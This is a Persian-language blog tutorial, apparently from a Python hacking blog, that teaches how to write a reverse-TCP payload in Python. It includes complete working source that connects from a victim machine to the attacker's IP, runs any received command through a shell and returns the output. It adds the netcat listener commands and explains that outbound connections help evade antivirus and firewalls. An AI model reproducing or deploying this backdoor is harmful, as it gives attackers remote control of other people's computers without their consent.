-
شنبه, ۱۱ مرداد ۱۳۹۹، ۱۱:۳۷ ق.ظ
-
۱۴۲۳
آموزش ساخت پیلود Reverse_TCP در پایتون
درود به همه !
اگر با ابزاری مثل metasploit کار کرده باشید قطعا میدونید پیلود reverse_Tcp چیه . پیلود reverse_tcp که ما امروز میسازیم یه اسکریپته که وقتی روی سیستم هدف اجرا میشه باعث میشه سیستم هدف به ما وصل بشه و ما میتونیم هر دستوری دلمون خواست از راه دور روی سیستم هدف اجرا کنیم . اینکه سیستم هدف به ما وصل بشه ترفند خوبیه چون آنتی ویروس و فایروال کمتر حساس هستند روی این موضوع در صورتی که اگه بخوایم ما به سیستم هدف وصل بشیم امکان داره فایروال نفوذ رو تشخیص بده .
طبق توضیحی که بالا دادیم روش ارتباط ما با سیستم هدف به صورت تصویر زیره :
برای نوشتن این اسکریپت ما نیاز به چنتا کتابخونه داریم که به صورت پیشفرض روی پایتون نصبه . یکی کتابخونه ی subprocess برای اجرای دستورات و کتابخونه ی socket برای برقراری ارتباط .
سورس اسکریپت :
#https://mrpython.blog.ir import subprocess import socket HACKER_IP = "192.168.1.103" HACKER_PORT = 12345 s = socket.socket(socket.AF_INET , socket.SOCK_STREAM) connected = False while not connected: try: s.connect((HACKER_IP , HACKER_PORT)) connected = True except: continue s.send("connected\n".encode()) while True: command = s.recv(1024) command = command.decode() if command == "exit\n": s.close() break proc = subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE) stdout_val = proc.stdout.read() + proc.stderr.read() s.send(stdout_val) print("exit")
توضیح سورس کد : در ابتدا کتابخونه های مورد نیاز رو ایمپورت کردیم . پس از اون دوتا متغییر تعریف کردیم . یکی HACKER_IP که آی پی هکر در شبکه رو داخلش قرار میدیم و دیگری HACKER_PORT که مشخص میکنیم به چه پورتی از سیستم هکر قراره وصل بشیم . برای مثال من گفتم به پورت ۱۲۳۴۵ وصل بشه . سپس برای برقراری ارتباط ، شیء سوکت رو ساختیم و ریختیم داخل متغییر s . اگه دقت کنین برای ساخت شیء سوکت دوتا ورودی دادیم به socket.socket . ورودی اول یعنی socket.AF_INET مشخص میکنه ما برای ارتباط از IP ورژن ۴ استفاده میکنیم و ورودی دوم یعنی socket.SOCK_STREAM مشخص میکنه ما ار پروتکل TCP برای ارتباط استفاده میکنیم . در خط بعد یه متغییر به نام connected تعریف کردیم که به صورت پیشفرض همون اول برابر False هستش . تنها زمانی برابر True میشه که ارتباط با هکر برقرار بشه . در خط بعد یه حلقه while نوشتیم که کارش اینه تا وقتی که متغییر connected برابر False هست یعنی به عبارتی ارتباط برقرار نشده همینجور تلاش کنه به سیستم هکر وصل بشه . پس از اینکه وصل شد متغییر connected رو برابر True میکنه و در نتیجه از حلقه خارج میشه .
بعد یه پیام connected ارسال کردیم به سیستم هکر . از این طریق میتونیم بفهمیم ارتباط برقرار شده . بعد از اون وارد یه حلقه ی بینهایت شدیم که کارش اینه در هر بار اجرای حلقه سعی میکنه یه پیام از سیستم هکر دریافت کنه . وقتی دریافت کرد اونو به استرینگ تبدیل میکنه . سپس میاد چک میکنه اگه برابر با exit بود کلا اسکریپتو میبنده ولی اگه برابر با exit نبود ، هر دستوری که بود میره با استفاده از متود subprocess.Popen در خط فرمان اجرا میکنه . پس از اجرای دستور میاد خروجی استاندارد و ارور استاندارد مربوط به دستور رو میگیره و میریزه داخل متغییر stdout_val و این متغییر رو نهایتا ارسال میکنه برای هکر .
این از توضیح سورس . اما نحوه ی اجرا کردنش . من دوتا سیستم بالا اوردم. یه ویندوز ۷ به عنوان سیستم قربانی و یه ubuntu به عنوان سیستم هکر .
اسکریپت بالا رو باید روی سیستم قربانی یعنی ویندوز ۷ اجرا کنیم . اما نکته ای که هست اینه که باید یه شنودگر هم روی سیستم هکر یعنی ubuntu اجرا کنیم . چون توی اسکریپت پیلود که نوشتیم گفتیم وصل بشه به آی پی هکر روی پورت ۱۲۳۴۵ . در نتیجه ما باید یه ابزاری روی سیستم هکر اجرا کنیم که روی پورت ۱۲۳۴۵ شنود کنه و منتظر بمونه تا اسکریپت پیلود که روی سیستم قربانی اجرا شده بهش وصل بشه .
برای اجرای شنودگر میتونیم روش های مختلفی رو به کار بگیریم . برای مثال ما میتونیم از ابزار های اماده مثل netcat برای اینکار استفاده کنیم . کافیه ابزار netcat رو روی سیستم هکر (چه ویندوز باشه چه لینوکس) نصب کنید و در خط فرمان دستور زیر رو اجرا کنید تا روی پورت ۱۲۳۴۵ شنود کنه :
nc -l -p 12345
روش دیگه ای که هست اینه که ما میتونیم خودمون با پایتون یه شنودگر ساده بنویسیم که در پست (آموزش ساخت کیلاگر های پیشرفته در پایتون : قسمت ۱ ) همینکارو کردیم . اگه میخواین خودتون یه شنودگر بنویسید از همون شنودگری که در پست کیلاگر ساختیم میتونید استفاده کنید .
ولی در اینجا ما میخوایم از ابزار netcat که در بالا گفتیم برای اینکار استفاده کنیم .
پس اولین کاری که میکنیم اینه که ابزار netcat رو روی سیستم هکر نصب میکنیم . این ابزار نسخه ی ویندوزی هم داره . اگه سیستم هکر یه ویندوزه باید نسخه ویندوزی رو نصب کنید و اگه لینوکسه نسخه لینوکسی .
برای نصب روی ویندوز میتونید از اینترنت فایل نصبشو دانلود کنید .
و برای نصب روی لینوکس از پکیج اینستالر خود لینوکس استفاده میکنیم . با دستور زیر این ابزار رو روی اوبونتو میشه نصب کرد :
MrPython@debian:~$ sudo apt install netcat
پس از نصب netcat میریم سراغ استفاده ازش . در خط فرمان سیستم هکر دستور زیر رو برای اجرای شنودگر با استفاده از ابزار netcat اجرا میکنیم :
MrPython@debian:~$ nc -l -p 12345
پس از اجرای شنود گر اسکریپت پیلود رو نیز در سیستم قربانی اجرا میکنیم و همینطور که میبینید پیغام connected روی شنودگر هکر نمایان میشود . حالا هر دستوری که در خط فرمان هکر بنویسیم روی سیستم قربانی اجرا میشه . تصویر زیر :
یا حق!
Telegram Channel : @mrpythonblog